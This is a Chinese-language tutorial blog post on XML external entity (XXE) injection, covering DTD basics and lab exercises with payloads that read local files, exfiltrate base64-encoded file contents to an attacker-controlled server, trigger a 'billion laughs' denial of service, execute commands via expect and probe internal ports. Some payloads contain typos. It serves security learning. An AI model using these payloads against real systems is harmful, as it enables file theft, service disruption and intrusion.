XML外部实体注入
本文首發(fā)于先知社區(qū)
XML外部實(shí)體注入
前言:
最近做了一道WEB題,涉及到XML外部實(shí)體注入(即XXE漏洞),恰好也沒有系統(tǒng)的學(xué)習(xí)過,這次就了解一些其攻擊方式包含的原理,并通過WEB題來實(shí)戰(zhàn)一番。
0x01:簡單了解XML
XML 指可擴(kuò)展標(biāo)記語言(EXtensible Markup Language) XML 是一種標(biāo)記語言,很類似 HTML XML 被設(shè)計(jì)為傳輸和存儲數(shù)據(jù),其焦點(diǎn)是數(shù)據(jù)的內(nèi)容 XML 被設(shè)計(jì)用來結(jié)構(gòu)化、存儲以及傳輸信息 XML 允許創(chuàng)作者定義自己的標(biāo)簽和自己的文檔結(jié)構(gòu)XML的優(yōu)點(diǎn):
xml是互聯(lián)網(wǎng)數(shù)據(jù)傳輸?shù)闹匾ぞ?#xff0c;它可以跨越互聯(lián)網(wǎng)任何的平臺,不受編程語言和操作系統(tǒng)的限制,非常適合Web傳輸,而且xml有助于在服務(wù)器之間穿梭結(jié)構(gòu)化數(shù)據(jù),方便開發(fā)人員控制數(shù)據(jù)的存儲和傳輸。
XML的特點(diǎn)及作用:
特點(diǎn):
1. xml與操作系統(tǒng)、編程語言的開發(fā)平臺都無關(guān)2. 實(shí)現(xiàn)不同系統(tǒng)之間的數(shù)據(jù)交互作用:
1. 配置應(yīng)用程序和網(wǎng)站2. 數(shù)據(jù)交互而且在配置文件里邊所有的配置文件都是以XMl的格式來編寫的,跨平臺進(jìn)行數(shù)據(jù)交互,它可以跨操作系統(tǒng),也可以跨編程語言的平臺,所以可以看出XML是非常方便的,應(yīng)用的范圍也很廣,但如果存在漏洞,那危害就不言而喻了。
XML語法、結(jié)構(gòu)與實(shí)體引用:
語法:
1.XML元素都必須有關(guān)閉標(biāo)簽。 2.XML 標(biāo)簽對大小寫敏感。 3.XML 必須正確地嵌套。 4.XML 文檔必須有根元素。 5.XML 的屬性值須加引號。結(jié)構(gòu):
1.XML 文檔聲明,在文檔的第一行 2.XML 文檔類型定義,即DTD,XXE 漏洞所在的地方 3.XML 文檔元素如:
實(shí)體引用:
在 XML 中一些字符擁有特殊的意義,如果把字符 < 放在 XML 元素中,便會發(fā)生錯誤,這是因?yàn)榻馕銎鲿阉?dāng)作新元素的開始。
例如:
便會報(bào)錯,為了避免這些錯誤,可以實(shí)體引用來代替 < 字符
<message>hello < world</message>XML 中,有 5 個預(yù)定義的實(shí)體引用,分別為:
上面提到XML 文檔類型定義,即DTD,XXE 漏洞所在的地方,為什么這個地方會產(chǎn)生XXE漏洞那,不要著急,先來了解一下DTD。
0x02 了解DTD:
文檔類型定義(DTD)可定義合法的XML文檔構(gòu)建模塊。它使用一系列合法的元素來定義文檔的結(jié)構(gòu)。DTD 可被成行地聲明于 XML 文檔中,也可作為一個外部引用。
優(yōu)點(diǎn):
有了DTD,每個XML文件可以攜帶一個自身格式的描述。 有了DTD,不同組織的人可以使用一個通用DTD來交換數(shù)據(jù)。DTD文檔的三種應(yīng)用形式:
1.內(nèi)部DTD文檔
<!DOCTYPE 根元素[定義內(nèi)容]>2.外部DTD文檔
<!DOCTYPE 根元素 SYSTEM "DTD文件路徑">3.內(nèi)外部DTD文檔結(jié)合
<!DOCTYPE 根元素 SYSTEM "DTD文件路徑" [定義內(nèi)容]>例如:
上半部分是內(nèi)部DTD文檔,下半部分是XML文檔
#PCDATA(Parsed Character Data) ,代表的是可解析的字符數(shù)據(jù),即字符串
下面再舉一個外部DTD文檔的例子:
新建一個DTD文檔,文件名叫LOL.dtd,內(nèi)容如下:
再新建一個XML文檔,加入外部DTD文件的名稱(同一個路徑下只給出文件名即可)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE game SYSTEM "LOL.dtd"> <game><lol>a</lol><dota>b</dota><dnf>c</dnf> </game>具體例子可以參考
有效的XML: DTD(文檔類型定義)介紹
DTD元素
在一個 DTD 中,元素通過元素聲明來進(jìn)行聲明。
其中可以看到一些PCDATA或是CDATA,這里簡單敘述一下:
PCDATA:
PCDATA 的意思是被解析的字符數(shù)據(jù)(parsed character data)。可以把字符數(shù)據(jù)想象為 XML 元素的開始標(biāo)簽與結(jié)束標(biāo)簽之間的文本。PCDATA 是會被解析器解析的文本。這些文本將被解析器檢查實(shí)體以及標(biāo)記。文本中的標(biāo)簽會被當(dāng)作標(biāo)記來處理,而實(shí)體會被展開。但是,被解析的字符數(shù)據(jù)不應(yīng)當(dāng)包含任何 & < > 字符;需要使用 & < > 實(shí)體來分別替換它們。
CDATA:
CDATA 的意思是字符數(shù)據(jù)(character data)。CDATA 是不會被解析器解析的文本。在這些文本中的標(biāo)簽不會被當(dāng)作標(biāo)記來對待,其中的實(shí)體也不會被展開。
簡單比較直觀的就是這樣的一種解釋:
PCDATA表示已解析的字符數(shù)據(jù)。
CDATA是不通過解析器進(jìn)行解析的文本,文本中的標(biāo)簽不被看作標(biāo)記。CDATA表示里面是什么數(shù)據(jù)XML都不會解析
DTD-實(shí)體
實(shí)體是用于定義引用普通文本或特殊字符的快捷方式的變量。 實(shí)體引用是對實(shí)體的引用。 實(shí)體可在內(nèi)部或外部進(jìn)行聲明。內(nèi)部實(shí)體
<!ENTITY 實(shí)體名稱 "實(shí)體的值">一個實(shí)體由三部分構(gòu)成: &符號, 一個實(shí)體名稱, 以及一個分號 (;)
例如:
外部實(shí)體
XML中對數(shù)據(jù)的引用稱為實(shí)體,實(shí)體中有一類叫外部實(shí)體,用來引入外部資源,有SYSTEM和PUBLIC兩個關(guān)鍵字,表示實(shí)體來自本地計(jì)算機(jī)還是公共計(jì)算機(jī),外部實(shí)體的引用可以利用如下協(xié)議
file:///path/to/file.ext http://url/file.ext php://filter/read=convert.base64-encode/resource=conf.php <!ENTITY 實(shí)體名稱 SYSTEM "URL">參數(shù)實(shí)體
<!ENTITY %實(shí)體名稱 "值"> <!ENTITY %實(shí)體名稱 SYSTEM "URL">例如:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo>外部evil.dtd中的內(nèi)容
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >外部實(shí)體可支持http、file等協(xié)議,所以就有可能通過引用外部實(shí)體進(jìn)行遠(yuǎn)程文件讀取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT methodname ANY > <!ENTITY xxe(實(shí)體引用名) SYSTEM "file:///etc/passwd"(實(shí)體內(nèi)容) >]> <methodcall> <methodname>&xxe;</methodname> </methodcall>上述代碼中,XML的外部實(shí)體xxe被賦予的值為:file:///etc/passwd當(dāng)解析xml文檔是,&xxe;會被替換為file:///ect/passwd的內(nèi)容,導(dǎo)致敏感信息泄露
(例子參考大師傅博客XXE漏洞學(xué)習(xí))
可能這些知識點(diǎn)會枯燥無味,但XXE主要是利用了DTD引用外部實(shí)體而導(dǎo)致的漏洞,所以了解還是很有必要的,接下來就要進(jìn)入正題咯。
0x02:一步一步接近XXE漏洞
漏洞危害:
如果開發(fā)人員在開發(fā)時允許引用外部實(shí)體時,惡意用戶便會利用這一漏洞構(gòu)造惡意語句,從而引發(fā)文件讀取、命令執(zhí)行、內(nèi)網(wǎng)端口掃描、攻擊內(nèi)網(wǎng)網(wǎng)站、發(fā)起dos攻擊等,可見其危害之大。
XXE常見的幾種攻擊方式
(這張圖其實(shí)就很好的解釋了如何利用XXE進(jìn)行攻擊)
XXE和SQL注入的攻擊方法也有一點(diǎn)相似,就是有回顯和沒有回顯
有回顯的情況可以直接在頁面中看到payload的執(zhí)行結(jié)果或現(xiàn)象,無回顯的情況又稱為blind xxe(類似于布爾盲注、時間盲注),可以使用外帶數(shù)據(jù)(OOB)通道提取數(shù)據(jù)
下面就通過構(gòu)造一些簡單的環(huán)境來了解一下各個攻擊方法究竟是如何利用的
一、讀取任意文件(有回顯與無回顯)
測試源碼:
<?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml);//有回顯 ?>構(gòu)造payload:
<?xml version="1.0" enyoucoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]> <root>&file;</root>將payload進(jìn)行url編碼,傳入即可讀取任意文件
根據(jù)結(jié)果我們可以看到通過構(gòu)造內(nèi)部實(shí)體的payload,在 xml 中 &file ; 已經(jīng)變成了外部文件1.txt中內(nèi)容,導(dǎo)致敏感信息泄露。
下面通過靶場來進(jìn)行練習(xí)有回顯讀取文件和無回顯讀取文件,抓包發(fā)現(xiàn)通過XML進(jìn)行傳輸數(shù)據(jù)
發(fā)現(xiàn)響應(yīng)包的內(nèi)容為usrename
構(gòu)造payload
將file:///d:/1.txt改為file:///c:/windows/win.ini等其他重要文件都是可以讀取的,也可以讀取PHP文件等。
解碼后即是PHP代碼的內(nèi)容
上面利用內(nèi)部實(shí)體和外部實(shí)體分別構(gòu)造了不同的payload,而且我們發(fā)現(xiàn)這個靶場是有回顯的,通過回顯的位置我們觀察到了響應(yīng)包的內(nèi)容,以此為依據(jù)進(jìn)行構(gòu)造payload,從而達(dá)到任意讀取文件的目的。
但這種攻擊方式屬于傳統(tǒng)的XXE,攻擊者只有在服務(wù)器有回顯或者報(bào)錯的基礎(chǔ)上才能使用XXE漏洞來讀取服務(wù)器端文件,那如果對方服務(wù)器沒有回顯應(yīng)該如何進(jìn)行注入
下面就將源碼修改下,將輸出代碼和報(bào)錯信息禁掉,改成無回顯
再次進(jìn)行注入,發(fā)現(xiàn)已經(jīng)沒有回顯內(nèi)容
下面就利用這個靶場來練習(xí)無回顯的文件讀取,遇到無回顯這種情況,可以通過Blind XXE方法加上外帶數(shù)據(jù)通道來提取數(shù)據(jù),先使用php://filter獲取目標(biāo)文件的內(nèi)容,然后將內(nèi)容以http請求發(fā)送到接受數(shù)據(jù)的服務(wù)器來讀取數(shù)據(jù)。雖然無法直接查看文件內(nèi)容,但我們?nèi)匀豢梢允褂靡资芄舻姆?wù)器作為代理,在外部網(wǎng)絡(luò)上執(zhí)行掃描以及代碼。
這里我使用的攻擊服務(wù)器地址為192.168.59.132,構(gòu)造出如下payload:
<?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/PHPstudys/PHPTutorial/WWW/php_xxe/doLogin.php"> <!ENTITY % dtd SYSTEM "http://192.168.59.132/evil.xml"> %dtd; %send; ]>
evil.xml
evil.xml放在攻擊服務(wù)器的web目錄下進(jìn)行訪問
這里如果不是管理員,需要更改一下對目錄的管理權(quán)限等,這里偷個懶權(quán)限全調(diào)至最高
至此準(zhǔn)備工作完畢,下面就監(jiān)控下apache的訪問日志
請求幾次,發(fā)現(xiàn)
接下來就base64解碼即可
實(shí)驗(yàn)完成,但為什么那,簡單的解釋下:
從 payload 中能看到 連續(xù)調(diào)用了三個參數(shù)實(shí)體 %dtd;%file;%send;,這就是利用先后順序,%dtd 先調(diào)用,調(diào)用后請求遠(yuǎn)程服務(wù)器(攻擊服務(wù)器)上的evil.xml,類似于將evil.xml包含進(jìn)來,然后再調(diào)用 evil.xml中的 %file, %file 就會去獲取對方服務(wù)器上面的敏感文件,然后將 %file 的結(jié)果填入到 %send ,再調(diào)用 %send; 把我們的讀取到的數(shù)據(jù)發(fā)送到我們的遠(yuǎn)程主機(jī)上,這樣就實(shí)現(xiàn)了外帶數(shù)據(jù)的效果,完美的解決了 XXE 無回顯的問題。
無回顯的構(gòu)造方法也有幾種固定的模板,如:
一、第一種命名實(shí)體+外部實(shí)體+參數(shù)實(shí)體寫法
evil.xml文件內(nèi)容為
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">二、第二種命名實(shí)體+外部實(shí)體+參數(shù)實(shí)體寫法
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %send; ]> <root></root>evil.xml文件內(nèi)容為:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;二、DOS攻擊(Denial of service:拒絕服務(wù))
幾乎所有可以控制服務(wù)器資源利用的東西,都可用于制造DOS攻擊。通過XML外部實(shí)體注入,攻擊者可以發(fā)送任意的HTTP請求,因?yàn)榻馕銎鲿馕鑫臋n中的所有實(shí)體,所以如果實(shí)體聲明層層嵌套的話,在一定數(shù)量上可以對服務(wù)器器造成DoS。
例如常見的XML炸彈
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>XML解析器嘗試解析該文件時,由于DTD的定義指數(shù)級展開(即遞歸引用),lol 實(shí)體具體還有 “l(fā)ol” 字符串,然后一個 lol2 實(shí)體引用了 10 次 lol 實(shí)體,一個 lol3 實(shí)體引用了 10 次 lol2 實(shí)體,此時一個 lol3 實(shí)體就含有 10^2 個 “l(fā)ol” 了,以此類推,lol9 實(shí)體含有 10^8 個 “l(fā)ol” 字符串,最后再引用lol9。 所以這個1K不到的文件經(jīng)過解析后會占用到3G的內(nèi)存,可見有多恐怖,不過現(xiàn)代的服務(wù)器軟硬件大多已經(jīng)抵御了此類攻擊。
防御XML炸彈的方法也很簡單禁止DTD或者是限制每個實(shí)體的最大長度。
三、命令執(zhí)行
在php環(huán)境下,xml命令執(zhí)行需要php裝有expect擴(kuò)展,但該擴(kuò)展默認(rèn)沒有安裝,所以一般來說命令執(zhí)行是比較難利用,但不排除有幸運(yùn)的情況咯,這里就搬一下大師傅的代碼以供參考:
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [<!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>四、內(nèi)網(wǎng)探測
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "http://127.0.0.1:80">]> <root>
后面的403禁止就很明顯的說明了該端口是開放狀態(tài)的
如果這里再嘗試一下沒有開放的端口,發(fā)現(xiàn)
因此也可以利用這種方法來探測內(nèi)網(wǎng)端口以及對內(nèi)網(wǎng)進(jìn)行攻擊等
總結(jié):
通過這次學(xué)習(xí),有g(shù)et的新的知識,繼續(xù)努力學(xué)習(xí)吧!
參考博客:
XXE漏洞攻防原理
XXE漏洞
推薦靶場:
phpaudit-XXE
xxe-lab
總結(jié)
- 上一篇: 通过sql-labs进行sql注入学习(
- 下一篇: asp.net ajax控件工具集 Au